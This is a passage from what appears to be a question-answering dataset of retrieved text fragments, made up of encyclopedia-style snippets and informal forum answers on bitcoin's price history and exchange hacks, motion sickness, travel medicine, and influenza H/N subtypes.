individuals' illnesses:\nThey are getting sick because of people like Christine Todd Whitman and Rudy Giuliani ... [M]y people don't want their names to be on the wall, because they are not victims of terrorists --they're victims of bad government. Giuliani should be banned from public office for what he did.\nWorby's firm has filed suit against the City of New York, the Port Authority and the Environmental Protection Agency. The suits allege that dust from the 9/11 attacks made the plaintiffs sick, and seek", "officiating\". They also claimed that an investigation would be done, but their decision couldn't be overturned. In September 3, 2016, it was announced that the three officers were officially expelled from the UWW, without offering the reasons for the expulsion.", "recalls sleeping on sandbags to avoid a grenade or bomb being tossed under his cot, as many of his men had threatened him with fragging.\nMoore was discharged from the United States Army as a captain in 1974, and was admitted to the University of Alabama School of Law that same year. Professors and fellow students held him in low regard due to his incapacity for keen analysis. He graduated in 1977 with a Juris Doctor degree and returned to Gadsden to begin private practice with a focus on personal injury and insurance cases. Elections and travels Moore soon moved to", "the AFL. Despite his injuries, Krummel publicly defended Pickett's actions.\nIn 2000, Byron was admitted to a mental health clinic with fears of Attention Deficit Hyperactivity Disorder and other mental illnesses. Pickett was released from the clinic with reports that his mental health was fine.\nIn 2005 he received a 6-week suspension for a clash which accidentally knocked out James Begley in a pre-season match with both players chasing for the ball. The incident sparked controversy and in response many football commentators, including premiership player Robert Walls called to ban the bump. Many cynics felt that Pickett had been singled out over", "published the names of U.S. government employees who were exposed by the Adult FriendFinder and Ashley Madison data breaches. He told CNN, \"I went straight for government employees because they seem the easiest to shame.\"\nHe has also been involved in the release of the undercover Planned Parenthood videos, which were under a temporary restraining order. The Washington Post quoted him as saying he did it \"For the lulz.\"\nIn a pair of incidents in 2016, Auernheimer sent flyers adorned with racist and anti-Semitic messages to thousands of unsecured printers across the U.S.; flyers bearing swastikas and promoting The Daily Stormer were" ]

[ "There was a huge speculative bubble at the time. It burst. It was also the last time bitcoin mining was viable with consumer level hardware.", "most of the value in bitcoin is based on speculation. BTC hit $1000 due to the chinese investor seeing it as an option to hide their money from the government, now that they realised that BTC isn't such a stable and safe investment as its proponents claim, they have withdrawn from it and the price dropped as a result." ]

[ "in June 2018. On August 1, 2017 a fork of the blockchain created Bitcoin Cash.\nThroughout the rest of the first half of 2018, bitcoin's price fluctuated between $11,480 and $5,848. On 1 July 2018, bitcoin's price was $6,343. The price on January 1, 2019 was $3,747, down 72% for 2018 and down 81% since the all-time high.\nBitcoin prices were negatively affected by several hacks or thefts from cryptocurrency exchanges, including thefts from Coincheck in January 2018, Coinrail and Bithumb in June, and Bancor in July. For the first six months of 2018, $761 million worth of cryptocurrencies was reported stolen", "had been seized by the US Marshals service and auctioned to the public. The accumulation of bitcoins was estimated to be worth US$19 million at the time.\nOn Sep. 23, 2014, Draper told Fox Business that he predicted that one bitcoin would reach $10,000 \"in three years\"; on January 27, 2015, Draper wagered about $400,000 (which is 2000 bitcoins with $200 price) that the bitcoin will rebound from a recent plunge. The price of a bitcoin crossed the $10,000 mark on November 29, 2017. Cruise Automation and Twitch.tv After funding Twitch.tv, which was sold to Amazon for $1 billion, Kyle Vogt,", "of existence, beginning in February 2011, Silk Road exclusively accepted bitcoins as payment, transacting 9.9 million in bitcoins, worth about $214 million.\nIn 2011, the price started at $0.30 per bitcoin, growing to $5.27 for the year. The price rose to $31.50 on 8 June. Within a month the price fell to $11.00. The next month it fell to $7.80, and in another month to $4.77.\nLitecoin, an early bitcoin spin-off or altcoin, appeared in October 2011. Many altcoins have been created since then.\nIn 2012, bitcoin prices started at $5.27 growing to $13.30 for the year. By 9 January the price had", "50% to $378 the same day. On 30 November 2013 the price reached $1,163 before starting a long-term crash, declining by 87% to $152 in January 2015. On 5 December 2013, the People's Bank of China prohibited Chinese financial institutions from using bitcoins. After the announcement, the value of bitcoins dropped, and Baidu no longer accepted bitcoins for certain services. Buying real-world goods with any virtual currency had been illegal in China since at least 2009.\nIn 2014, prices started at $770 and fell to $314 for the year.\nOn July 30, 2014, the Wikimedia Foundation started accepting donations of bitcoin.\nIn 2015.", "during the 2012–13 Cypriot financial crisis, the bitcoin price began to rise, reaching a high of US$266 on 10 April 2013, before crashing to around US$50. On 29 November 2013, the cost of one bitcoin rose to a peak of US$1,242. In 2014, the price fell sharply, and as of April remained depressed at little more than half 2013 prices. As of August 2014 it was under US$600. During their time as bitcoin developers, Gavin Andresen and Mike Hearn warned that bubbles may occur.\nAccording to Mark T. Williams, as of 2014, bitcoin has volatility seven times greater than gold, eight times", "Dot-com bubble in 2002. In November 2018, the total market capitalization for Bitcoin fell below $100 billion for the first time since October 2017, and the Bitcoin price fell below $4,000, representing an 80 percent decline from its peak the previous January. Bitcoin Bitcoin has been characterized as a speculative bubble by eight winners of the Nobel Memorial Prize in Economic Sciences: Paul Krugman, Robert J. Shiller, Joseph Stiglitz, Richard Thaler, James Heckman, Thomas Sargent, Angus Deaton, and Oliver Hart; and by central bank officials including Alan Greenspan, Agustín Carstens, Vítor Constâncio, and Nout Wellink.\nThe investors Warren Buffett and", "world's bitcoin trades, as the largest bitcoin intermediary and the world's leading bitcoin exchange. With prices increasing rapidly, Mt. Gox suspended trading from 11–12 April for a \"market cooldown\". The value of a single bitcoin fell to a low of $55.59 after the resumption of trading, before stabilizing above $100. Around mid-May 2013, Mt. Gox traded 150,000 bitcoins per day, per Bitcoin Charts.\nOn 2 May 2013 CoinLab filed a $75 million lawsuit against Mt. Gox, alleging a breach of contract. The companies had formed a partnership in February 2013 under which CoinLab was to handle all of Mt. Gox's", "money invested). By 26 November, bitcoin also fell by over 80% from its peak, having lost almost one-third of its value in the previous week.", "$3 million per day.\nAs of March 13, 2014, Overstock bitcoin income had shrunk to under 1% of their normal daily cash intake.\nIn a community interview with social media site Reddit on May 3, 2014, in response to a question to the Overstock CEO Patrick Byrne about the percentage of revenue and transactions paid for in bitcoin, Byrne responded that the percentage was \"Tiny. <.1%\". In mid-2014 Overstock.com announced that bitcoin sales were averaging $300,000 per month and that the company expected bitcoin sales to add 4 cents to the company's 2014 earnings per share.\nDespite at least $175 million in", "hit, the reward will be very large.\"\nIn November 2014, David Yermack, Professor of Finance at New York University Stern School of Business, forecast that in November 2015 bitcoin may be all but worthless. In the indicated period bitcoin has exchanged as low as $176.50 (January 2015) and during November 2015 the bitcoin low was $309.90.\nIn May 2013, Bank of America FX and Rate Strategist David Woo forecast a maximum fair value per bitcoin of $1,300. Bitcoin investor Cameron Winklevoss stated in December 2013 that the \"small bull case scenario for bitcoin is... 40,000 USD a coin\". Obituaries The \"death\" of", "currencies and the regulatory and legal challenges of new peer-to-peer technologies in financial services.\nIn 2013, after Bitcoin peaked at $1,200, Williams predicted that it was in a bubble and would trade for less than 10 dollars by mid-2014. In 2014, Bitcoin prices dropped by over 50% but bottomed out above $200 through 2014 and didn't reached $10 like he predicted. Other academics including Yale economist Robert Shiller also consider Bitcoin a speculative bubble. In January 2018, he further cautioned investors about the cryptocurrency hyper asset bubble, stating it is fraught with uncertainty and high risk. Prices can also be", "those of bitcoin.\nBy November 2017 the value of Bitcoin Cash, which had been as high as $900, had fallen to around $300, much of that due to people who had originally held Bitcoin selling off the Bitcoin Cash they received at the hard fork. On 20 December 2017 it reached an intraday high of $4,355.62 and then fell 88% to $519.12 on 23 August 2018.\nAs of August 2018, Bitcoin Cash payments are supported by payment service providers such as BitPay, Coinify and GoCoin. Difficulty adjustment algorithm Both Bitcoin as well as Bitcoin Cash use a proof-of-work algorithm to timestamp", "risen to $7.38, but then crashed by 49% to $3.80 over the next 16 days. The price then rose to $16.41 on 17 August, but fell by 57% to $7.10 over the next three days.\nThe Bitcoin Foundation was founded in September 2012 to promote bitcoin's development and uptake. 2013–2016 In 2013, prices started at $13.30 rising to $770 by 1 January 2014.\nIn March 2013 the blockchain temporarily split into two independent chains with different rules due to a bug in version 0.8 of the bitcoin software. The two blockchains operated simultaneously for six hours, each with its own version of", "time called \"mystery buyer\". The company's goal is to fund 100 bitcoin businesses within 2–3 years with $10,000 to $20,000 for a 6% stake. Investors also invest in bitcoin mining. According to a 2015 study by Paolo Tasca, bitcoin startups raised almost $1 billion in three years (Q1 2012 – Q1 2015). Price and volatility The price of bitcoins has gone through cycles of appreciation and depreciation referred to by some as bubbles and busts. In 2011, the value of one bitcoin rapidly rose from about US$0.30 to US$32 before returning to US$2. In the latter half of 2012 and", "prices started at $314 and rose to $434 for the year. In 2016 prices rose to $998 on 1 January 2017. 2017–2019 Prices started at $998 in 2017 and rose to $13,412.44 on 1 January 2018, after reaching its all-time high of $19,783.06 on 17 December 2017.\nChina banned trading in bitcoin, with first steps taken in September 2017, and a complete ban that started on 1 February 2018. Bitcoin prices then fell from $9,052 to $6,914 on 5 February 2018. The percentage of bitcoin trading in the Chinese renminbi fell from over 90% in September 2017 to less than 1%", "breach. In it, $72 million in bitcoin was stolen from the company's customer's accounts. Immediately thereafter, bitcoin's trading price plunged by 20%. After learning of the breach, Bitfinex halted all bitcoin withdrawals and trading. In that hack, the second-biggest breach of a Bitcoin exchange platform, 119,756 units of bitcoin, which was about $72 million at the time, were stolen. The bitcoin was taken from users' segregated wallets and Bitfinex said it was tracking down the hack. Exchange customers, even those whose accounts had not been broken into, had their account balance reduced by 36% and received BFX tokens in", "the site to the next level.\"\nOn 19 June 2011, a security breach of the Mt. Gox bitcoin exchange caused the nominal price of a bitcoin to fraudulently drop to one cent on the Mt. Gox exchange, after a hacker allegedly used credentials from a Mt. Gox auditor's compromised computer to transfer a large number of bitcoins illegally to himself. He used the exchange's software to sell them all nominally, creating a massive \"ask\" order at any price. Within minutes the price corrected to its correct user-traded value. Accounts with the equivalent of more than $8,750,000 were affected. In order to", "virtual currencies\" such as bitcoin, classifying American bitcoin miners who sell their generated bitcoins as Money Service Businesses (MSBs), that are subject to registration or other legal obligations. In April, exchanges BitInstant and Mt. Gox experienced processing delays due to insufficient capacity resulting in the bitcoin price dropping from $266 to $76 before returning to $160 within six hours. The bitcoin price rose to $259 on 10 April, but then crashed by 83% to $45 over the next three days. On 15 May 2013, US authorities seized accounts associated with Mt. Gox after discovering it had not registered as a", "Mt. Gox, leading to its collapse. In 2015, Bitmain developed Antminer S5, which became the best-selling mining equipment as bitcoin prices recovered. Bitmain grew into the world's largest computer chip company for bitcoin mining, reporting US$2.5 billion in revenue in 2017. In 2018, Wu owned 20% of Bitmain shares, and Zhan 36%.\nWu has been a vocal proponent for increasing bitcoin's transaction capacity, which is limited to only seven per second due to the 1-megabyte size limit of bitcoin blocks, but the proposal was opposed by traditionalists. After two years of debate between the two camps, a Shenzhen-based mining company called", "reported on its website that it found 199999.99 bitcoins—worth around $116 million—in an old digital wallet used prior to June 2011. That brought the total number of bitcoins the firm lost down to 650,000, from 850,000.\nNew evidence presented in April 2015 by Tokyo security company WizSec led them to conclude that \"most or all of the missing bitcoins were stolen straight out of the Mt. Gox hot wallet over time, beginning in late 2011.\"\nOn April 14, Mt. Gox lawyers said that Karpelès would not appear for a deposition in a Dallas court, or heed a subpoena by FinCEN.\nOn 16 April", "suddenly shut down on 26 October 2013; subscribers, unable to log in, lost up to $5 million worth of bitcoin. In late February 2014 Mt. Gox, one of the largest virtual currency exchanges, filed for bankruptcy in Tokyo amid reports that bitcoins worth $350 million had been stolen. Flexcoin, a bitcoin storage specialist based in Alberta, Canada, shut down on March 2014 after saying it discovered a theft of about $650,000 in bitcoins. Poloniex, a digital currency exchange, reported on March 2014 that it lost bitcoins valued at around $50,000.\nIn January 2015 UK-based bitstamp, the third busiest bitcoin exchange globally,", "worth about $2.3 million. MIT Technology review estimates that, as of February 2015, fewer than 5,000 bitcoins per day (worth roughly $1.2 million at the time) were being used for retail transactions, and concludes that in 2014 \"it appears there has been very little if any increase in retail purchases using bitcoin.\" Financial institutions Bitcoin companies have had difficulty opening traditional bank accounts because lenders have been leery of bitcoin's links to illicit activity. According to Antonio Gallippi, a co-founder of BitPay, \"banks are scared to deal with bitcoin companies, even if they really want to\". In 2014, the National Australia", "payment on the platform to $100 USD from its previous $5 USD; the change was reversed only a few days later. In Dec 2017, Steam stopped accepting bitcoin payments from BitPay, citing transaction costs for small items were too high, along with volatility concerns.\nBitcoin's prepaid WaveCrest Visa was discontinued in January 2018. BitPay received its virtual currency license from the New York Department of Financial Services in July 2018. Funding Initial funding came from a variety of sources including Shakil Khan, Barry Silbert, Jimmy Furland, Roger Ver and Trace Mayer.\nIn January 2013 the company announced US $510,000 in angel", "The company stated that it had lost nearly $473 million of their customers' bitcoins likely due to theft. This was equivalent to approximately 750,000 bitcoins, or about 7% of all the bitcoins in existence. The price of a bitcoin fell from a high of about $1,160 in December to under $400 in February.\nTwo members of the Silk Road Task Force—a multi-agency federal task force that carried out the U.S. investigation of Silk Road—seized bitcoins for their own use in the course of the investigation. DEA agent Carl Mark Force IV, who attempted to extort Silk Road founder Ross Ulbricht (\"Dread", "seasonal variation). VCs are increasing as a percentage of these transactions. The Bitcoin exchange company Coinbase offers a payment service that allows merchants to receive Bitcoin and then automatically exchange the Bitcoin into fiat currency. The speed of this exchange helps merchants to avoid the volatility of Bitcoin. In September 2014, eBay announced that its payment processor Braintree will be accepting Bitcoin. As of November 2014, the market capitalization of Bitcoin is just below $5 billion, but has reached historic highs close to $14 billion. The growth of Internet use and the virtual world is also", "predicted that Bitcoin would be worth $100,000. Author In 2017, Cliff published Explosive Growth – A Few Things I Learned Growing To 100 Million Users and Losing $78 Million. The book tells the story of Snap Interactive while teaching startups how to achieve faster growth. It became #1 best-seller on Amazon in the Public Relations category. The book was recognized as a Top 5 Business Book on Growth Hacking.", "predicted that Chinese shares \"may drop as much as 30%\", and creating a \"knock-on effect on the whole world economy.\" Bitcoin In December 2013, Woo argued that Bitcoin \"can become a major means of payment for e-commerce and may emerge as a serious competitor to traditional money transfer providers\", an opinion that Joe Weisenthal said \"represents a top-fligh kappat mind at a major financial institution assessing it in a serious way, and coming to the conclusion that it could be the real deal.\" However, Woo put the upper bound of Bitcoin’s fair value at $1300, stating that \"Bitcoin is highly", "more than $60 million worth of bitcoin was stolen after a cyber attack hit the cryptocurrency-mining platform NiceHash. According to the CEO Marko Kobal and co-founder Sasa Coh, bitcoins worth $64 million USD were stolen, although users have pointed to a bitcoin wallet which held 4,736.42 bitcoins, equivalent to $67 million.\nOn May 7th of 2019, hackers stole over 7000 Bitcoins from the Binance Cryptocurrency Exchange, at a value of over 40 million US dollars. Binance CEO Zhao Changpeng stated: \"The hackers used a variety of techniques, including phishing, viruses and other attacks.... The hackers had the patience to wait, and execute", "Views of economists In 2014, Nobel laureate Robert J. Shiller stated that bitcoin \"exhibited many of the characteristics of a speculative bubble\"; in 2017, Shiller wrote that bitcoin was the best current example of a speculative bubble.\nEconomist John Quiggin in 2013 said \"bitcoins are the most demonstrably valueless financial asset ever created\". \nResearchers Neil Gandal, JT Hamrick, Tyler Moore, and Tali Oberman claimed that in late 2013, price manipulation by one person likely caused a price spike from US$150 to more than US$1000.\nNobel laureate Joseph Stiglitz in 2017 said \"It’s a bubble that’s going to give a lot of people", "misappropriating ¥315M ($2.6M) in bitcoin deposited into their trading accounts by investors at Mt. Gox, and moving it into an account he controlled, approximately six months before Mt. Gox failed in early 2014.\nBy May 2016, creditors of Mt. Gox had claimed they lost $2.4 trillion when Mt. Gox went bankrupt, which they asked be paid to them. The Japanese trustee overseeing the bankruptcy said that only $91 million in assets had been tracked down to distribute to claimants, despite Mt. Gox having asserted in the weeks before it went bankrupt that it had more than $500 million in assets. The" ]

[ "Many parts of your body including your eyes and ears help you sense motion and detect your relative location. \n\nWhen you're reading a book, you're likely to be much more focused on the text and nothing else. Your eyes will signal to your brain that you're sitting still. However, when the car speeds up or down or hits a bump, your ears will tell your brain you're moving along. Your brain gets confused from these mixed signals, and as a result you get motion sickness.\n\nWatching videos tends to require less intense focus and processing power than reading a book. Video screens are also placed further to the eye than books, so you are more aware of what's happening around you. Your eyes will thus still be able to sense that you're moving and send to your brain the correct signals.", "The problem is the disconnect your body feels between your senses. In the case of motion sickness, the issue is that your body feels the movement of the car in your inner ear, but, because your eyes are focused on the page, it doesn't *see* any movement. These conflicting signals actually lead your brain to assume that you've been poisoned, and that's why many people get nauseous. It's your body attempting to cure the \"poison\" that it thinks is killing you." ]

[ "accounts for about 2.8–4% of deaths during/from travel. Morbidity studies suggest that about half of people from a developed country who stay one month in a developing country will get sick. Traveler's diarrhea is the most common problem encountered. Disciplines The field of travel medicine encompasses a wide variety of disciplines including epidemiology, infectious disease, public health, tropical medicine, high altitude physiology, travel related obstetrics, psychiatry, occupational medicine, military and migration medicine, and environmental health.\nSpecial itineraries and activities include cruise ship travel, diving, mass gatherings (e.g. the Hajj), and wilderness/remote regions travel.\nTravel medicine can primarily be divided into four main", "traveler's diarrhea, second only to Enterotoxigenic E. coli, and a common cause of diarrhea amongst pediatric populations. It has also been associated with chronic infections in the latter, as well as in immunocompromised hosts, such as HIV-infected individuals. Awareness of EAEC was increased by a serious outbreak in Germany during 2011, causing over 5000 cases and at least 50 fatalities. The pathogen responsible was found to be an EAEC O104:H4 strain which was lysogenized by a Shiga toxin encoding phage (typically associated with Shiga toxin-producing Escherichia coli, which often encode the adhesin intimin). The putative cause of the outbreak were", "better understood. However, almost all types of health care are available, including psychiatry, alternative medicine, convalescent care, and even burial services.\nHealth tourism is a wider term for travel that focuses on medical treatments and the use of healthcare services. It covers a wide field of health-oriented, tourism ranging from preventive and health-conductive treatment to rehabilitational and curative forms of travel. Wellness tourism is a related field. History The first recorded instance of people travelling for medical treatment dates back thousands of years to when Greek pilgrims traveled from the eastern Mediterranean to a small area in the Saronic Gulf called", "Travel medicine Globalization and travel Globalization facilitates the spread of disease and increases the number of travelers who will be exposed to a different health environment. Major content areas of travel medicine include the global epidemiology of health risks to the traveler, vaccinology, malaria prevention, and pre-travel counseling designed to maintain the health of the approximately 600 million international travelers. It has been estimated that about 80 million travelers go annually from developed to developing countries. Mortality and morbidity Mortality studies indicate that cardiovascular disease accounts for most deaths during travel (50–70%), while injury and accident follow (~25%). Infectious disease", "Health hazards of air travel A number of possible health hazards of air travel have been investigated. Infection On an airplane, people sit in a confined space for extended periods of time, which increases the risk of transmission of airborne infections. For this reason, airlines place restrictions on the travel of passengers with known airborne contagious diseases (e.g. tuberculosis). During the severe acute respiratory syndrome (SARS) epidemic of 2003, awareness of the possibility of acquisition of infection on a commercial aircraft reached its zenith when on one flight from Hong Kong to Beijing, 16 of 120 people on the flight", "ocean by riding in airplane wheel wells and arrived in New York City in 1999.” With the use of air travel, people are able to go to foreign lands, contract a disease and not have any symptoms of illness until after they get home, and having exposed others to the disease along the way.\nAs medicine has progressed, many vaccines and cures have been developed for some of the worst diseases (plague, syphilis, typhus, cholera, malaria) which people suffer. But, because the evolution of disease organisms is very rapid, even with vaccines, there is difficulty providing full immunity to many", "that travellers develop—diarrhoea or gut problems, respiratory problems, wounds and pain. The medical kit should at least address these common things.\nResearch has also shown that the best treatment for travellers diarrhoea is to take an antibiotic (e.g. ciprofloxacin) plus a stopper (e.g. loperamide). Due to bacterial resistance, different parts of the world require different antibiotics. It is best to consult a travel doctor to sort out the best medical kit for the exact destination and medical history of the person travelling.", "Travel health nursing Travel health nursing is an emerging nursing specialty that promotes the health and safety of national and international travelers. Similar to travel medicine, it is an interdisciplinary practice which draws from the knowledge bases of vaccines, epidemiology, tropical medicine, public health and health education. Roles and Workplaces Travel health nurses primarily work in travel health clinics, the military, the government, and some large ambulatory care practices. Their work covers pre-travel care, with a focus on disease prevention and health promotion while patients are away from their home. Travel health nurses assess the potential traveler's health and their", "going outside the country, and persuade self-insured American employers to offer this cost-effective option to their workers as a way to save money while still provide high-quality care. Companies that focus on medical value travel typically provide nurse case managers to assist patients with pre- and post-travel medical issues. They may also help provide resources for follow-up care upon the patient's return.\nCircumvention tourism is also an area of medical tourism that has grown. Circumvention tourism is travel in order to access medical services that are legal in the destination country but illegal in the home country. This can include travel", "Traveler's diarrhea Signs and symptoms The onset of TD usually occurs within the first week of travel, but may occur at any time while traveling, and even after returning home, depending on the incubation period of the infectious agent. Bacterial TD typically begins abruptly, but Cryptosporidium may incubate for seven days, and Giardia for 14 days or more, before symptoms develop. Typically, a traveler experiences four to five loose or watery bowel movements each day. Other commonly associated symptoms are abdominal cramping, bloating, fever, and malaise. Appetite may decrease significantly. Though unpleasant, most cases of TD are", "the tourism industry is struggling to gain stability. In 2003, there were 80,029 visitors, a 20% decrease from 2002. There were 4,139 hotel rooms with 8,794 beds and an occupancy rate of 52%. Passports and visas are required. Proof of yellow fever vaccination may also be required if travelling from an infected area. In 2005, the US Department of State estimated the cost of staying in the capital Asmara at $150 per day. In other areas, the cost was estimated at $81 per day.", "Attack rates are similar for men and women.\nThe most important determinant of risk is the traveler's destination. High-risk destinations include developing countries in Latin America, Africa, the Middle East, and Asia. Among backpackers, additional risk factors include drinking untreated surface water and failure to maintain personal hygiene practices and clean cookware. Campsites often have very primitive (if any) sanitation facilities, making them potentially as dangerous as any developing country.\nAlthough traveler's diarrhea usually resolves within three to five days (mean duration: 3.6 days), in about 20% of cases, the illness is severe enough to require bedrest, and in 10%, the illness", "western and southern Africa.\nAmoebic dysentery is often confused with \"traveler's diarrhea\" because of its prevalence in developing nations. In fact, most traveler's diarrhea is bacterial or viral in origin. Pathogenesis Amoebiasis results from tissue destruction induced by the E. histolytica parasite. E. histolytica causes tissue damage by three main events: direct host cell killing, inflammation, and parasite invasion. Diagnosis With colonoscopy it is possible to detect small ulcers of between 3–5mm, but diagnosis may be difficult as the mucous membrane between these areas can look either healthy or inflamed.\nTrophozoites may be identified at the ulcer edge or within the tissue,", "States A report of McKinsey and Co. from 2008 found that between 60,000 and 85,000 medical tourists were traveling to the United States for the purpose of receiving in-patient medical care. The same McKinsey study estimated that 750,000 American medical tourists traveled from the United States to other countries in 2007 (up from 500,000 in 2006). The availability of advanced medical technology and sophisticated training of physicians are cited as driving motivators for growth in foreigners traveling to the US for medical care, whereas the low costs for hospital stays and major/complex procedures at Western-accredited medical facilities abroad are", "of ill health in countries to the immediate north of the Mediterranean Sea, particularly Spain, Italy and Greece. Along the Ligurian coast of Italy, large numbers of people were affected after visiting beaches in the summer of 2005, and about 200 people sought medical help; symptoms included rhinorrhoea, fever, cough and mild breathing problems, and sometimes conjunctivitis. These symptoms have been shown to be the result of aerosols containing the dinoflagellates, which had been whipped off the surface of the water by winds, and carried ashore to the detriment of public health. In a separate incident, a mass mortality of", "travelers at a time when travel was far more risky and dangerous than today, hence the name. Along the way it had many industry firsts, including the first automobile policy, the first commercial airline policy, and the first policy for space travel. In 1954 it established the world's first privately owned weather research facility, the Travelers Weather Research Center, the first organization to make weather predictions using probabilities (\"20% chance of rain\"). By the early 1990s, Travelers was predominantly a general property and casualty insurer that also happened to do some travel insurance on the side, and it quietly", "as well as people going out for medical treatment. The inbound tourism usually is from African countries like Nigeria, Kenya, Uganda, Rwanda, etc. The outbound can be categorised into two segments - the local population (citizens of UAE) and the expats. The locals prefer to go to European destinations like the U.K., Germany etc. The expats prefer to go back to their home countries for treatment. Brazil In Brazil, Albert Einstein Hospital in São Paulo was the first JCI-accredited facility outside of the US, and more than a dozen Brazilian medical facilities have since been similarly accredited. Mexico Mexico has", "Travel Insurance Direct Operations TID runs all its operations from the World Nomads Group office, located in Sydney. In 2015, World Nomads Group was acquired by private health insurer nib for $95 million.\nAlong with travel insurance, TID also provide travellers with a unique travel app called Tripwise which allows travellers to access policy information, safety advice, travel guides and phrasebooks, from their mobile phone. Social awareness TID is also a member of The Footprints Network, a charity aggregator which provides online merchants with an easy way for customers to donate to local and international charities. Through The Footprints Network", "any decision to go.\nThe voyages could be dangerous with passengers dying of typhus, scarlet fever and smallpox. For example, out of 615 immigrants (not all sponsored by the Society) on the 1852 voyage of the Ticonderoga, 168 died including 82 children under seven. However, other voyages went smoothly; a well-documented one is that of the Sir Alan McNab, which sailed from Liverpool in 1854, where:\nOnly trifling sickness occurred, chiefly diseases of the throat and glands, which the Surgeon thought might have been caused by the ship's being lined with salt to preserve its timbers.\nIn 1852, its first year of operation,", "limited period of time.\nThose traveling abroad for shorter periods of time might wish to purchase a travel medical policy which can provide assistance during emergency medical situations abroad. These policies are less expensive as they are time specific rather than annual policies, this allows the policyholder to specifically tailor the plan to the exact length of their trip. A majority of international travel insurance policies will also allow the policyholder to be evacuated to the nearest center of medical excellence in the event of a serious illness or injury; it is also possible to obtain repatriation coverage.\nIt is important to", "World Health Organization, and in 2004 it launched the World Alliance for Patient Safety. This body assists hospitals and government around the world in setting patient safety policy and practices that can become particularly relevant when providing medical tourism services.\nPatients traveling to countries with less stringent surgical standards may be at higher risk for complications. If there are complications, the patient may need to stay in the foreign country for longer than planned or if they have returned home, will not have easy access to follow up care.\nPatients sometimes travel to another country to obtain medical procedures that doctors in", "travel information. In 2009, SavvyTraveller.com was awarded the bronze CPRS (Canadian Public Relations Society of Toronto) ACE Award for, \"Best Use of Communication Tools.\" Travel Guard United Kingdom Travel Guard UK is a provider of travel insurance plans, covering citizens of United Kingdom all over the world. Travel Guard United Kingdom provides expenses for medical emergencies and other health issues, travel crisis like trip delay and any accidental damage etc. Travel Guard Ireland (Chartis Europe Limited) Travel Guard Ireland provide its Travel related services with name AIG Europe Limited. AIG Europe Limited is listed among top 100 companies of countries", "extremely poor, living in unsanitary conditions. Problems included difficulty in obtaining seeds, fertilizers, farm tools and irrigation water, theft of vegetables during the night, poor roads, infectious diseases, lack of electricity and flooding.\nHuman African trypanosomiasis, or sleeping sickness, is a disease that usually only occurs in rural locations, since it is spread by tsetse flies that need a combination of forest and water to thrive. Between 1970 and 1995, about 39 cases per year were reported in Kinshasa.\nNumbers of documented cases (which may have been affected by improved screening) jumped to 254 cases in 1996, 226 in 1997, 433 in", "travel.", "Travel.", "travel.", "illness. Nearly all medicines and stored food had been consumed on the long voyages. Doctor Pedro Prat — himself weakened by scurvy — gathered medicinal herbs in the fields and desperately tried to cure the ill men. Heat scorched them by day, cold stung them by night. Two or three men died every day, until the combined sea expedition — which had started with over 90 men — had shrunk to eight soldiers and eight sailors.\nCaptain Rivera's column arrived on May 14, having trekked 300 miles (480 km) in 50 days from Velicatá without losing a single man or having a", "International Society of Travel Medicine Global Travel Clinic Directory ISTM hosts a Global Travel Clinic Directory that enables travelers to find medical assistance in over 80 countries. Travel clinics provide travelers with specialized travel medicine care that includes pre, post and during travel immunizations, treatment, and medicines for protection against and treatment of diseases acquired during international travel. Many of the clinics provide care in various languages for better communication between patients and healthcare professionals. Certificate of Knowledge ISTM sponsors an examination for professionals to earn a Certificate of Knowledge in Travel Medicine. This exam is offered annually. The", "be announced for specific events.\nSome policies exclude travel to certain countries, or parts of countries, where a greater risk is expected. These determinations are often made based on official government travel advice from organisations such as the US State Department or the Australian Department of Foreign Affairs. \nTravel insurance can also provide helpful services, often 24 hours a day, 7 days a week that can include concierge services and emergency travel assistance. Pre-existing medical conditions must be declared prior to the trip start date. The European Health Insurance Card (EHIC) entitles to treatment in state-run hospitals in EU countries and", "World Travel Monitor The World Travel Monitor (WTM) / European Travel Monitor (ETM) is a worldwide tourism information system detailing the foreign (outbound) travel behaviour practiced by a country’s respective resident population. Origins and objective The European Travel Monitor has been continuously surveying the most important data on outbound travel behaviour from all European countries since 1988. In 1995, the European Travel Monitor was expanded to the World Travel Monitor to cover all the important overseas markets (United States, Canada, Australia, Argentina, Brazil, United Arab Emirates, Saudi Arabia, Japan, China, India, etc.). Data is collected by the architects of the" ]

[ "H and N stand for the names of two proteins on the surface of virus cells (Hemagglutinin and Neuraminidase). What they do is not particularly important, except that they have to be on the surface of every flu virus for it to survive, and antibodies are able to target them. Different versions of the different surface proteins mean new antibodies are needed, so a new vaccine is necessary for viruses with different versions of the surface proteins. So vaccines generally work for a specific H/N combination.\n\nTL;DR: Surface proteins on the flu that are important for antibody targeting.\n\nEdit: spelling.", "H, as others have said, refers to Haemagglutinin.\nThis is a protein on the outside of the virus, which lets the virus stick to cells so it can enter them. It sticks to a special type of sugar called Sialic acid, which is also known as neuraminic acid.\n\nN stands for Neuraminidase.\nThis is another protein on the outside of the virus. This protein cuts off any surrounding neuraminic acids, which lets new virus particles get away from the host cell. Without neuraminidase, new virus particles would just stay stuck to the cell that made them.\n\nBoth of these proteins are on the outside of the virus. This means they are the parts that our immune system 'sees.' Because our immune reaction to the virus is very important in dealing with flu outbreaks, different strains of viruses are classed according to which 'type' of H and N they have, which is where the numbers come from.", "Flu viruses comprise nucleic acid (RNA, which encodes the virus, it is similar to DNA). It also comprises glycoproteins which are on the outside of the virus. (There are other components). Two of these are hemagglutinin (H) and neuraminidase (N). They perform functions such as recognizing cells to invade so the virus can replicate.\n\nDifferent influenza viruses have differences in the make up of these glycoproteins. These subtypes were named by numbers. So H1 would be hemagglutinin type 1. N1 would be neuraminidase type 1. So H1N1 would be an influenza virus with that particular structure.", "ELY5: \n\nThey are bits that are on the outer skin of the virus that are different in different strains of Flu, and are thus used to tell the different types apart. Each type of H is given a number, as is each type of N. The combination of what two types are on the skin of a virus strains help identify that virus.", "Also of particular importance is that Neuraminidase (N) can be targeted by certain drugs such as Tamiflu (Oseltamivir) which is a neuraminidase inhibitor :)" ]

